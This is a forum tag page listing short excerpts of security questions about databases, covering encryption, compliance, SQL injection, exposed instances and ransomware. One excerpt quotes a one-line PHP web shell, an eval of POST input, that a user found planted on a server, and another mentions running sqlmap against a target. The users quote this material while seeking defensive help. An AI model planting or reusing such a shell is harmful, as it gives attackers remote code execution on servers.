Questions tagged [databases]

Security related aspects of databases and database access.

Filter by
Sorted by
Tagged with
0
votes
2answers
58 views

Is it possible to hack a database inside of local network by external attacker?

Can an attacker from global network hack a database located on office machine inside of local office network? For example after hacking a router, a gateway or the very machine? Or maybe there is ...
0
votes
0answers
45 views

Does a method exist in which a database can be checked for a certain value but the value not derived?

I want to make a database where I can put ten-digit numbers and it will record it however just by looking at it no one should be able to say what was entered in it. Using that database one should only ...
0
votes
1answer
28 views

Why would you use random algorithm for CSFLE if you can't query the inserted data?

I think I really misunderstand something about data encryption. This guide (https://docs.mongodb.com/manual/core/security-client-side-encryption/#randomized-encryption) says the following: "...
0
votes
1answer
80 views

Database password encryption compromised

A company has a database with user's passwords encrypted. An attacker compromised the password encryption now it needs to be changed. In this situation does the company needs to change the encryption ...
2
votes
1answer
86 views

Ransomware encryption on opened files

I am wondering if ransomware can encrypt currently opened/locked files by an application? Example: Some application opens files and lock them for manipulation e.g. Database. So I assume that when the ...
1
vote
0answers
25 views

Is there record of a pubilc RDS instance with strong password having been hacked?

I am auditing an AWS account and I found a public RDS instance, that is with public DNS, no Security Group IP connection filtering and in a public Subnet However, the instance has a relatively strong ...
1
vote
1answer
76 views

Preventing DDOS attacks without collecting personal data? [closed]

Could anyone suggest a system to prevent DDOS attacks without collecting personal data like i.p. addresses ( or using anonymized data ) and be not deny access to an innocent user ?
0
votes
1answer
52 views

public MySQL via XAMPP - security - whitelisting IP's versus VPN

I'm working on app that uses MySQL database on XAMPP Control Panel on Windows. I am concerned about security part. I received advice about connecting to MySQL through VPN so it won't be accessible so ...
9
votes
1answer
2k views

How does Google save our passwords on their server?

My friend recently told me that: Google doesn't have our passwords saved on their database. Instead they put our password when typed on browser, through an algorithm and it'll produce a unique ...
0
votes
1answer
48 views

Is possible to deliver a dos attack increasing a database table?

If a user through a request can add a record to a table (for each request) is theoretically possible that he could cause a dos attack just increasing the size of a table?
0
votes
0answers
59 views

How could I improve the security of my design?

I’m building an open-source notes app using electron. I’ll be using rxdb which uses crypto-js to encrypt fields using AES-256 after getting a passphrase and using pbkdf2 to generate a key. Rxdb is a ...
0
votes
0answers
58 views

What tools/checklists can help determine the presence of malicious code in a database? MS SQL specifically

Consider a scenario, where your AV / EDR software has to exclude paths of database files as suggested by vendors to avoid affecting performance or stability issues. You want to review your database ...
0
votes
0answers
47 views

EU GDPR: Can someone store the data inside EU but process them in US [duplicate]

I'm a bit lost in here and need some direction. According to the EU GDPR, the PII data should never leave the EU. But, Can they be taken out and processed outside? such as in a server that is situated ...
0
votes
0answers
29 views

How easy to crack simple, custom algorithm? [duplicate]

Out of curiosity. I am a green as grass programmer coming from other career disciplines and am learning multiple languages right now so play nice and keep it simple please. Interested in simple ...
1
vote
2answers
122 views

SQL injection using brute force?

I am studying about cyber defense lately for fun and found about a proposed method that as I understand it performs automated SQL injection using brute force by training a model. At some point it says ...
0
votes
1answer
43 views

SQL TLS termination on Load Balancer

From what I understood TLS is protocol independent of HTTPS and can be used with other protocols as well. For example in order to connect to MS SQL server via encrypted connection I'll have to enable ...
1
vote
0answers
50 views

When using parameterized SQL queries, is there still any *security* issue with simply blindly accepting user input variables?

Suppose I have this: parameterized_database_call('SELECT * FROM widgets WHERE id = $1', $_GET['widget_id']); The SQL query is parameterized, as I've done for many years now. (I'm trying to repress ...
0
votes
0answers
48 views

How to deal with new clients in a hybrid encrypted database?

I'm working on a private project and I'm not really sure about hybrid encryption. I am not a security expert but just a student. Background: I'm working on a project that uses couchDB as a database in ...
-1
votes
1answer
359 views

Do websites ever delete data about me and my activities? [closed]

I wanted to know for how long Porn websites retain data about visitors' IP addresses and the specific pages they visit. I wanted to check it for Pornhub, xnxx, and xvideos. However, my country ...
2
votes
1answer
118 views

Encrypting links between registered users and their sensitive data

I want to make it impractical to link the users to their sensitive data without their passwords – even with a full access to the database. Furthermore, if a user has multiple pieces of sensitive data, ...
0
votes
1answer
50 views

Should I obscure database primary keys for the frontend even if these ids are uuidv4 Ids?

After reading through the answers of the related question (the same question but about integer primary keys), I was wondering if there is any reason to hash uuidv4 primary keys and sending the hash to ...
0
votes
1answer
84 views

What (aside from the law) prevents cloud-hosting owners from eavesdropping on servers/code?

Given a server hosted on a cloud platform, what would stop the cloud platform owner from stealing the server's data and/or code? As far as I can tell, a motivated cloud owner could retrieve the data ...
0
votes
0answers
74 views

Saving secrets (API-keys for external application) per user in database (PKI?)

I'm developing a web-app which communicates with an external email message application through its HTTP API. My web-app consists of a JS (Svelte) front-end and a Node.js back-end. Each user on my app ...
0
votes
0answers
25 views

Implications of querying OrientDB directly from front-end

Give that OrientDB exposes a REST HTTP API, and that it seems to have quite a few security features, what are the (especially security) implications of querying OrientDB directly from a front end web ...
1
vote
2answers
373 views

How to not use database identifiers in a URL in the context of a REST API

During my IT school years, I was told that including rows identifiers from a database in the resource URL, in the context of a REST API, is a bad practice. To my understanding, the rationale behind ...
0
votes
1answer
62 views

Can I recover files that I had on windows from a SSD that I converted to apfs (mac) and which method or tool to use?

I had some files that I want to recover from windows, but I formatted the ssd drive to macos (apfs)? Is there a tool or method to recover those files?
1
vote
2answers
197 views

What personal data should be encrypted in a database?

I am having trouble answering what seems like a simple question. I was hoping to find a Yep/Nope style list somewhere, but can't seem to find one. What data should be encrypted in a cloud (e.g. AWS/...
0
votes
0answers
77 views

Cryptographic way to detect deleted rows in a database table

I have a web application talking to a PostgreSQL database. My threat model is the following: Attacks must not occur at rest. What i'm afraid of is unwanted deletion of data on a specific table, let's ...
0
votes
0answers
121 views

Sanitising data for a flutter application

I am having trouble with some user input security. I have a Flutter app where users can submit comments that can contain text e.g. a-z characters, numbers, symbols and emojis. These are stored in a ...
1
vote
0answers
82 views

Keeping data confidential from the system administrator

Problem How do I ensure that I cannot access confidential data manually through the database? Practically speaking, this is a firestore database on google cloud, and I have access to the administrator ...
6
votes
6answers
2k views

What's more vulnerable; the data or the DBMS?

When data breaches occur, is a database always involved? In the case of databases being involved, do hackers figure out how the data is stored and read this or do they just figure out how to make ...
1
vote
1answer
191 views

PCI Compliance for developers accessing a production database for support

As a developer, when an Incident comes in and reaches Tier 3 support (The development team), how can the developers get access to query the Production Database, while remaining PCI Compliant? I'm ...
0
votes
2answers
67 views

What can you do to make a hashed token database retrievable at a later date?

I have a table for single use tokens, and one of the columns is a token_digest which contains a bcrypt hash of the access token. Since the token_digest is a salted and hashed version of the plaintext ...
0
votes
1answer
52 views

What are useful use cases for employing asymmetric cryptography in a database?

I see that many relational database systems offer asymmetric (private/public key) cryptography functions. For example, PostgreSQL offers the pgcrypto module, which supports OpenPGP (RFC 4880) ...
0
votes
0answers
51 views

SQL Injection Doesn't Sanitize But Doesn't Execute Commands

I am currently doing a pentesting on a web application and focusing more on SQL Injection. This company I am pentesting have a functionality in which we are allowed to buy things from the vendors/...
3
votes
2answers
251 views

Is it safe to store data of small company in MySQL database on webhost?

A small company has a big list of customers. The list contains personal information like names, phone numbers, addresses, info (like what products bought) and some small notes. The data is stored at ...
0
votes
1answer
175 views

Is it okay to log sql queries for debugging

I was adding logging to my application. And I realized that there are times when I need to debug my sql statements and logging them (at debug logging level of course) would make debugging very easy. I ...
0
votes
1answer
84 views

Is it safe to expose port 22 on a database VM? [closed]

I have seen many answers to this question in different scenarios but I am still unsure of the actual answer. I have a VM in the cloud (Azure), which will be hosting my production database. Is it safe ...
0
votes
1answer
95 views

Virus / malware stored inside database

I have a small network of several Windows 10 machines (all protected by BitDefender 2020 Total Security), one of which acts as server with Firebird database. For some time the database is ...
0
votes
2answers
714 views

sqlmap won't give me results i'm looking for [closed]

I am trying to use sqlmap. Although every time I use it, I just get a response of: [13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [13:39:11] [...
3
votes
0answers
140 views

What is the Meow Attack and how can I guard my databases against it?

Recently, there has been some news articles about unsolicited attacks on unsecured public facing Elastic and Mongo databases. These are commonly being called "Meow" attacks, resulting in ...
1
vote
0answers
51 views

Does Snowflake Data Sharing add any real security?

Snowflake is a cloud database like Google BigQuery or Amazon Redshift. Unlike them, however, it markets a "Secure Data Sharing" feature. They go to some effort (including a full "Data ...
0
votes
0answers
21 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
0
votes
2answers
109 views

Sign records in a database [closed]

I have a table in my database where I store records to be processed later (basically orders that need to be invoiced or something similar, but this is not the important part). Since this software runs ...
2
votes
2answers
278 views

Is it safe to keep decrypted data in memory?

Due to new laws in my country, any personal information must to be stored encrypted in the database. So, to be able to perform querys over this data I was thinking to keep an in-memory copy of these ...
0
votes
0answers
52 views

Calculating the privacy that Renyi (ε,δ) Differential Privacy satisfies

I add differential privacy (DP) to my machine learning models by using PyTorch-DP. PyTorch-DP supplies me with the values: εand δ. I know that the εtells us something about the probability ρ that ...
0
votes
1answer
60 views

What are the downsides to having PostgreSQL database available directly from public network?

When auditing a machine for one of my clients I noticed that they have PostgreSQL listening and accessible from public network. This is not necessary for their application, seems they simply neglected ...
0
votes
2answers
144 views

Is it possible for a database to be impenetrable?

I was wondering if it is possible to create some sort of database that is physically impossible to enter. While creating it, you store some information in it and program it to spit that information ...
1
vote
2answers
213 views

HIPAA data encryption - Is database level encryption is enough?

If the database has a built in encryption possible such as Azure SQL Server's, Transparent Data Encryption (TDE) would this be enough for getting the HIPAA compliance ? Or even before storing any data ...
0
votes
1answer
136 views

Is my code safe enough to be publish on the server side? [duplicate]

I'm new here to ask a question. Sorry if my question had miss explanation. I just wanna ask if my PHP code is secure enough. Please find below is the source code: Get the ID for choosing the Value ...

1
2 3 4 5
14